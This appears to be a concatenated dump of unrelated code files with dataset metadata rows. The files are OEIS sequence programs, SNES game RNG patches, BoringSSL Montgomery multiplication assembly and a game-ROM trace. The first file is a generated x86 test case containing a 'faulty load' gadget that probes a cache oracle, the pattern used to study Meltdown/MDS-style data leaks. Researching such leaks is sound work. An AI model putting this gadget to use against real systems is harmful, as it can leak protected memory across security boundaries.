37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 33.557018
| 2,999
| 0.658999
|
84b7066b3a5d65fa2da87506274d1272edbcdd6b
| 8,010
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2108.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2108.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2108.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xc87, %r12
nop
nop
nop
nop
add %r9, %r9
mov $0x6162636465666768, %rbp
movq %rbp, (%r12)
nop
nop
nop
nop
nop
xor $45183, %r11
lea addresses_A_ht+0x1a2b9, %rsi
lea addresses_A_ht+0x15797, %rdi
nop
nop
nop
nop
nop
sub %rax, %rax
mov $27, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_WC_ht+0x3717, %r9
clflush (%r9)
nop
nop
nop
sub $46092, %rdi
movups (%r9), %xmm0
vpextrq $0, %xmm0, %rsi
nop
cmp %rax, %rax
lea addresses_UC_ht+0x157d7, %rsi
lea addresses_normal_ht+0xfb97, %rdi
nop
add $49509, %rax
mov $28, %rcx
rep movsw
xor %rcx, %rcx
lea addresses_WT_ht+0x4397, %rsi
lea addresses_A_ht+0x6f97, %rdi
nop
nop
nop
nop
and $1187, %rbp
mov $79, %rcx
rep movsw
nop
nop
dec %r12
lea addresses_UC_ht+0x14b97, %rsi
lea addresses_WT_ht+0x150b7, %rdi
nop
xor %rbp, %rbp
mov $11, %rcx
rep movsl
nop
nop
nop
nop
nop
and $49012, %rsi
lea addresses_A_ht+0xdd77, %r9
nop
nop
and $15646, %rbp
mov (%r9), %r11
nop
xor $40523, %rcx
lea addresses_D_ht+0x1ad97, %rcx
nop
nop
nop
add $19720, %rbp
movw $0x6162, (%rcx)
nop
nop
nop
nop
add $37002, %rdi
lea addresses_normal_ht+0xf317, %rdi
nop
nop
nop
dec %r9
mov (%rdi), %r12
xor %rax, %rax
lea addresses_WC_ht+0x2397, %rsi
nop
nop
nop
add %rdi, %rdi
movb $0x61, (%rsi)
nop
nop
and $13011, %rbp
lea addresses_WC_ht+0x1a097, %rsi
lea addresses_WC_ht+0xf97, %rdi
nop
nop
nop
nop
xor $56003, %rbp
mov $26, %rcx
rep movsl
nop
nop
nop
and $19619, %rbp
lea addresses_WC_ht+0xf777, %rcx
nop
nop
nop
nop
cmp %r9, %r9
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
cmp $37217, %rsi
lea addresses_normal_ht+0x11087, %rsi
nop
nop
add %rax, %rax
movb $0x61, (%rsi)
nop
cmp $4816, %rdi
lea addresses_WT_ht+0x14797, %rbp
nop
nop
nop
nop
sub $45053, %r11
mov (%rbp), %rdi
nop
nop
nop
cmp %rbp, %rbp
lea addresses_D_ht+0x11157, %r9
nop
nop
nop
cmp %r11, %r11
movb $0x61, (%r9)
nop
nop
nop
nop
add %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_PSE+0x14297, %r11
nop
nop
nop
dec %rbx
mov $0x5152535455565758, %rax
movq %rax, %xmm2
movups %xmm2, (%r11)
nop
nop
nop
xor %r11, %r11
// Faulty Load
lea addresses_RW+0x15b97, %rcx
nop
nop
nop
nop
xor $1837, %rbp
movb (%rcx), %r9b
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 31.785714
| 2,999
| 0.656305
|
d7046dc792bf54f2da871b52f475d170235b8a28
| 470
|
asm
|
Assembly
|
oeis/018/A018837.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/018/A018837.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/018/A018837.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A018837: Number of steps for knight to reach (n,0) on infinite chessboard.
; Submitted by Jamie Morken(s3)
; 0,3,2,3,2,3,4,5,4,5,6,7,6,7,8,9,8,9,10,11,10,11,12,13,12,13,14,15,14,15,16,17,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,28,29,30,31,30,31,32,33,32,33,34,35,34,35,36,37,36,37,38,39,38,39,40,41,40,41,42,43,42,43,44,45,44,45,46,47,46,47,48,49,48,49,50,51
mov $1,$0
mod $0,2
sub $1,2
div $1,2
mov $2,$1
gcd $2,2
add $1,$2
add $0,$1
| 36.153846
| 283
| 0.646809
|
3eec85ff47e7f88b6009fdbb6f62c559769a2ae5
| 2,840
|
asm
|
Assembly
|
src/rng.asm
|
spannerisms/lttphack
|
8309fecd1b73db4d81616ec500253ae1aa52b399
|
[
"MIT"
] | 6
|
2020-02-14T17:14:52.000Z
|
2021-12-06T19:51:25.000Z
|
src/rng.asm
|
spannerisms/lttphack
|
8309fecd1b73db4d81616ec500253ae1aa52b399
|
[
"MIT"
] | 1
|
2020-09-26T07:40:33.000Z
|
2020-09-26T07:40:33.000Z
|
src/rng.asm
|
spannerisms/lttphack
|
8309fecd1b73db4d81616ec500253ae1aa52b399
|
[
"MIT"
] | 7
|
2019-12-02T21:51:51.000Z
|
2021-07-03T17:53:04.000Z
|
pushpc
org $0688E9 : JSL rng_pokey
org $01ED6EF : JSL rng_agahnim
org $01E8262 : JSL rng_helmasaur
org $1D9488 : JSL rng_ganon_warp_location
org $1D91E3 : JSL rng_ganon_warp
org $1DE5E4 : JSL choose_vitty_eye
org $1EC89C : JSL rng_eyegore
org $1EB5F7 : JSL rng_arrghus
org $1EB2A6 : JSL rng_turtles
org $05A3F4 : JSL rng_lanmola_1
org $05A401 : JSL rng_lanmola_2
org $09BD5D : JSL rng_conveyor_belt
pullpc
;===================================================================================================
rng_pokey:
LDA.w SA1RAM.pokey_rng : BEQ JML_to_RNG
DEC
; left = 3 ; right = 5
CPX.b #$05 : BNE ++
LSR : LSR
++ RTL
;===================================================================================================
; Agahnim
rng_agahnim:
LDA.w SA1RAM.agahnim_rng : BEQ JML_to_RNG
CMP.b #$01 : BEQ .done
LDA.b #$00
.done
RTL
;===================================================================================================
rng_helmasaur:
LDA.w SA1RAM.helmasaur_rng : BEQ JML_to_RNG
DEC
RTL
;===================================================================================================
rng_ganon_warp_location:
LDA.w SA1RAM.ganon_warp_location_rng : BEQ JML_to_RNG
DEC
RTL
;===================================================================================================
rng_ganon_warp:
LDA.w SA1RAM.ganon_warp_rng : BEQ JML_to_RNG
DEC
RTL
;===================================================================================================
rng_eyegore:
LDA.w SA1RAM.eyegore_rng : BEQ JML_to_RNG
DEC
RTL
;===================================================================================================
rng_arrghus:
LDA.w SA1RAM.arrghus_rng : BEQ JML_to_RNG
TXY
TAX : LDA.l .speeds-1,X
TYX
RTL
.speeds
db $00, $10, $20, $30, $3F
;===================================================================================================
; In the middle for best access
JML_to_RNG:
JML GetRandomInt
;===================================================================================================
rng_turtles:
LDA.w SA1RAM.turtles_rng : BEQ JML_to_RNG
DEC
RTL
;===================================================================================================
rng_lanmola_1:
LDA.w SA1RAM.lanmola_rng : BEQ JML_to_RNG
DEC
RTL
rng_lanmola_2:
LDA.w SA1RAM.lanmola_rng : BEQ JML_to_RNG
DEC : LSR #3
RTL
;===================================================================================================
rng_conveyor_belt:
LDA.w SA1RAM.conveyor_rng : BEQ JML_to_RNG
DEC
RTL
;===================================================================================================
choose_vitty_eye:
LDA.w SA1RAM.vitreous_rng : BEQ JML_to_RNG
LDA.w $0E70,X : BNE JML_to_RNG
INC : STA.w $0E70,X ; set to 1
LDA.w SA1RAM.vitreous_rng
DEC
RTL
| 20.141844
| 100
| 0.416549
|
bb7a249e0f1393af0b5bc7c8c3333634bc4628fa
| 4,229
|
asm
|
Assembly
|
pregenerated/tmp/x86-mont-win32n.asm
|
solid-rs/ring
|
cc0ce81311eb0557aeda63c88d47aa2f3f5b8b9b
|
[
"MIT"
] | 9
|
2020-10-11T13:38:55.000Z
|
2021-12-28T16:17:48.000Z
|
pregenerated/tmp/x86-mont-win32n.asm
|
solid-rs/ring
|
cc0ce81311eb0557aeda63c88d47aa2f3f5b8b9b
|
[
"MIT"
] | 2
|
2020-10-28T21:28:48.000Z
|
2020-10-29T15:53:34.000Z
|
pregenerated/tmp/x86-mont-win32n.asm
|
solid-rs/ring
|
cc0ce81311eb0557aeda63c88d47aa2f3f5b8b9b
|
[
"MIT"
] | 8
|
2019-11-26T23:33:58.000Z
|
2021-05-03T04:46:37.000Z
|
; This file is generated from a similarly-named Perl script in the BoringSSL
; source tree. Do not edit by hand.
%ifdef BORINGSSL_PREFIX
%include "boringssl_prefix_symbols_nasm.inc"
%endif
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
$@feat.00 equ 1
section .text code align=64
%else
section .text code
%endif
;extern _GFp_ia32cap_P
global _GFp_bn_mul_mont
align 16
_GFp_bn_mul_mont:
L$_GFp_bn_mul_mont_begin:
push ebp
push ebx
push esi
push edi
xor eax,eax
mov edi,DWORD [40+esp]
lea esi,[20+esp]
lea edx,[24+esp]
add edi,2
neg edi
lea ebp,[edi*4+esp-32]
neg edi
mov eax,ebp
sub eax,edx
and eax,2047
sub ebp,eax
xor edx,ebp
and edx,2048
xor edx,2048
sub ebp,edx
and ebp,-64
mov eax,esp
sub eax,ebp
and eax,-4096
mov edx,esp
lea esp,[eax*1+ebp]
mov eax,DWORD [esp]
cmp esp,ebp
ja NEAR L$000page_walk
jmp NEAR L$001page_walk_done
align 16
L$000page_walk:
lea esp,[esp-4096]
mov eax,DWORD [esp]
cmp esp,ebp
ja NEAR L$000page_walk
L$001page_walk_done:
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov ebp,DWORD [12+esi]
mov esi,DWORD [16+esi]
mov esi,DWORD [esi]
mov DWORD [4+esp],eax
mov DWORD [8+esp],ebx
mov DWORD [12+esp],ecx
mov DWORD [16+esp],ebp
mov DWORD [20+esp],esi
lea ebx,[edi-3]
mov DWORD [24+esp],edx
lea eax,[_GFp_ia32cap_P]
bt DWORD [eax],26
mov eax,-1
movd mm7,eax
mov esi,DWORD [8+esp]
mov edi,DWORD [12+esp]
mov ebp,DWORD [16+esp]
xor edx,edx
xor ecx,ecx
movd mm4,DWORD [edi]
movd mm5,DWORD [esi]
movd mm3,DWORD [ebp]
pmuludq mm5,mm4
movq mm2,mm5
movq mm0,mm5
pand mm0,mm7
pmuludq mm5,[20+esp]
pmuludq mm3,mm5
paddq mm3,mm0
movd mm1,DWORD [4+ebp]
movd mm0,DWORD [4+esi]
psrlq mm2,32
psrlq mm3,32
inc ecx
align 16
L$0021st:
pmuludq mm0,mm4
pmuludq mm1,mm5
paddq mm2,mm0
paddq mm3,mm1
movq mm0,mm2
pand mm0,mm7
movd mm1,DWORD [4+ecx*4+ebp]
paddq mm3,mm0
movd mm0,DWORD [4+ecx*4+esi]
psrlq mm2,32
movd DWORD [28+ecx*4+esp],mm3
psrlq mm3,32
lea ecx,[1+ecx]
cmp ecx,ebx
jl NEAR L$0021st
pmuludq mm0,mm4
pmuludq mm1,mm5
paddq mm2,mm0
paddq mm3,mm1
movq mm0,mm2
pand mm0,mm7
paddq mm3,mm0
movd DWORD [28+ecx*4+esp],mm3
psrlq mm2,32
psrlq mm3,32
paddq mm3,mm2
movq [32+ebx*4+esp],mm3
inc edx
L$003outer:
xor ecx,ecx
movd mm4,DWORD [edx*4+edi]
movd mm5,DWORD [esi]
movd mm6,DWORD [32+esp]
movd mm3,DWORD [ebp]
pmuludq mm5,mm4
paddq mm5,mm6
movq mm0,mm5
movq mm2,mm5
pand mm0,mm7
pmuludq mm5,[20+esp]
pmuludq mm3,mm5
paddq mm3,mm0
movd mm6,DWORD [36+esp]
movd mm1,DWORD [4+ebp]
movd mm0,DWORD [4+esi]
psrlq mm2,32
psrlq mm3,32
paddq mm2,mm6
inc ecx
dec ebx
L$004inner:
pmuludq mm0,mm4
pmuludq mm1,mm5
paddq mm2,mm0
paddq mm3,mm1
movq mm0,mm2
movd mm6,DWORD [36+ecx*4+esp]
pand mm0,mm7
movd mm1,DWORD [4+ecx*4+ebp]
paddq mm3,mm0
movd mm0,DWORD [4+ecx*4+esi]
psrlq mm2,32
movd DWORD [28+ecx*4+esp],mm3
psrlq mm3,32
paddq mm2,mm6
dec ebx
lea ecx,[1+ecx]
jnz NEAR L$004inner
mov ebx,ecx
pmuludq mm0,mm4
pmuludq mm1,mm5
paddq mm2,mm0
paddq mm3,mm1
movq mm0,mm2
pand mm0,mm7
paddq mm3,mm0
movd DWORD [28+ecx*4+esp],mm3
psrlq mm2,32
psrlq mm3,32
movd mm6,DWORD [36+ebx*4+esp]
paddq mm3,mm2
paddq mm3,mm6
movq [32+ebx*4+esp],mm3
lea edx,[1+edx]
cmp edx,ebx
jle NEAR L$003outer
emms
align 16
L$005common_tail:
mov ebp,DWORD [16+esp]
mov edi,DWORD [4+esp]
lea esi,[32+esp]
mov eax,DWORD [esi]
mov ecx,ebx
xor edx,edx
align 16
L$006sub:
sbb eax,DWORD [edx*4+ebp]
mov DWORD [edx*4+edi],eax
dec ecx
mov eax,DWORD [4+edx*4+esi]
lea edx,[1+edx]
jge NEAR L$006sub
sbb eax,0
mov edx,-1
xor edx,eax
jmp NEAR L$007copy
align 16
L$007copy:
mov esi,DWORD [32+ebx*4+esp]
mov ebp,DWORD [ebx*4+edi]
mov DWORD [32+ebx*4+esp],ecx
and esi,eax
and ebp,edx
or ebp,esi
mov DWORD [ebx*4+edi],ebp
dec ebx
jge NEAR L$007copy
mov esp,DWORD [24+esp]
mov eax,1
pop edi
pop esi
pop ebx
pop ebp
ret
db 77,111,110,116,103,111,109,101,114,121,32,77,117,108,116,105
db 112,108,105,99,97,116,105,111,110,32,102,111,114,32,120,56
db 54,44,32,67,82,89,80,84,79,71,65,77,83,32,98,121
db 32,60,97,112,112,114,111,64,111,112,101,110,115,115,108,46
db 111,114,103,62,0
segment .bss
common _GFp_ia32cap_P 16
| 18.548246
| 76
| 0.710333
|
97f008f0a9c9d8f491c8c54017e30e0c8f300ac0
| 522
|
asm
|
Assembly
|
oeis/336/A336174.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/336/A336174.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/336/A336174.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A336174: Number of non-symmetric binary n X n matrices M over the reals such that M^2 is the transpose of M.
; Submitted by Jon Maiga
; 0,0,0,2,16,80,360,1680,8064,39872,209920,1168640,6779520,41403648,265434624,1765487360,12227461120,88163164160,656547803136,5054718763008,40261284495360,330010833797120,2783003768258560,24166721457815552,215318925878132736,1966855934150246400
mov $3,$0
seq $0,336614 ; Number of n X n (0,1)-matrices A over the reals such that A^2 is the transpose of A.
mov $2,2
pow $2,$3
sub $0,$2
| 52.2
| 244
| 0.787356
|
5993f1c2e644357f5bc6ff61a7355e1ec2c67a55
| 1,114
|
asm
|
Assembly
|
programs/oeis/192/A192970.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/192/A192970.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/192/A192970.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A192970: Coefficient of x in the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments.
; 0,1,3,9,21,44,85,156,276,476,806,1347,2230,3667,6001,9787,15923,25862,41955,68006,110170,178406,288828,467509,756636,1224469,1981455,3206301,5188161,8394896,13583521,21978912,35562960,57542432,93105986,150649047,243755698,394405447,638161885,1032568111,1670730815,2703299786,4374031503,7077332234,11451364726,18528697994,29980063800,48508762921,78488827896,126997592041,205486421211,332484014577,537970437165,870454453172,1408424891821,2278879346532,3687304239948,5966183588132,9653487829790,15619671419691,25273159251310,40892830672891,66165989926153,107058820601059,173224810529291,280283631132494,453508441663995,733792072798766,1187300514465106,1921092587266286,3108393101733876,5029485689002717,8137878790739220
mov $2,$0
add $2,1
mov $4,$0
lpb $2,1
mov $0,$4
sub $2,1
sub $0,$2
add $3,1
mov $5,$0
lpb $3,1
mov $0,$5
sub $0,1
sub $3,1
cal $0,192969 ; Constant term of the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments.
lpe
add $1,$0
lpe
sub $1,1
| 50.636364
| 718
| 0.788151
|
b743d8681ebc55216d21b440626da331130b7733
| 341
|
asm
|
Assembly
|
programs/oeis/342/A342279.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/342/A342279.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/342/A342279.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A342279: A bisection of A000201: a(n) = A000201(2*n+1).
; 1,4,8,11,14,17,21,24,27,30,33,37,40,43,46,50,53,56,59,63,66,69,72,76,79,82,85,88,92,95,98,101,105,108,111,114,118,121,124,127,131,134,137,140,144,147,150,153,156,160,163,166,169,173,176,179,182,186,189
mov $2,$0
seq $0,35487 ; Second column of Stolarsky array.
sub $0,$2
sub $0,1
| 42.625
| 203
| 0.683284
|
3f4c49fb23432ec1d0e2c854739cc788d9eb087e
| 9,938
|
asm
|
Assembly
|
dino/lcs/enemy/11.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 6
|
2020-10-14T15:29:10.000Z
|
2022-02-12T18:58:54.000Z
|
dino/lcs/enemy/11.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | null | null | null |
dino/lcs/enemy/11.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 1
|
2020-12-17T08:59:10.000Z
|
2020-12-17T08:59:10.000Z
|
copyright zengfr site:http://github.com/zengfr/romhack
012CFA or.b D0, ($50,A6) [base+6B2]
012CFE tst.b ($51,A6) [123p+ 50, enemy+10, enemy+30, enemy+50, enemy+70, enemy+90, enemy+B0, etc+50, item+50]
012D02 bne $12d2e [123p+ 51, enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1, item+51]
012D0A add.w ($56,A6), D0
012D12 cmp.w D1, D0 [123p+ C, enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC, item+ C]
012D22 rts [123p+ 51, enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1, item+51]
012D28 clr.w ($e,A6) [123p+ C, enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC, item+ C]
012D42 moveq #$0, D1 [123p+ C, enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC, etc+ C, item+ C]
012D48 move.b D1, ($51,A6)
012D4C rts
012E8E moveq #$0, D1 [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
012E94 move.b D1, ($51,A6)
012E98 rts
013082 tst.b ($51,A6) [123p+ 54, enemy+14, enemy+34, enemy+54, enemy+74, enemy+94, item+54]
013096 move.w D0, ($c,A6)
01309A rts [123p+ C, enemy+ C, enemy+2C, enemy+4C, enemy+8C, enemy+AC]
02A764 move.w D0, ($1e,A6)
02A768 move.b #$1, ($51,A6)
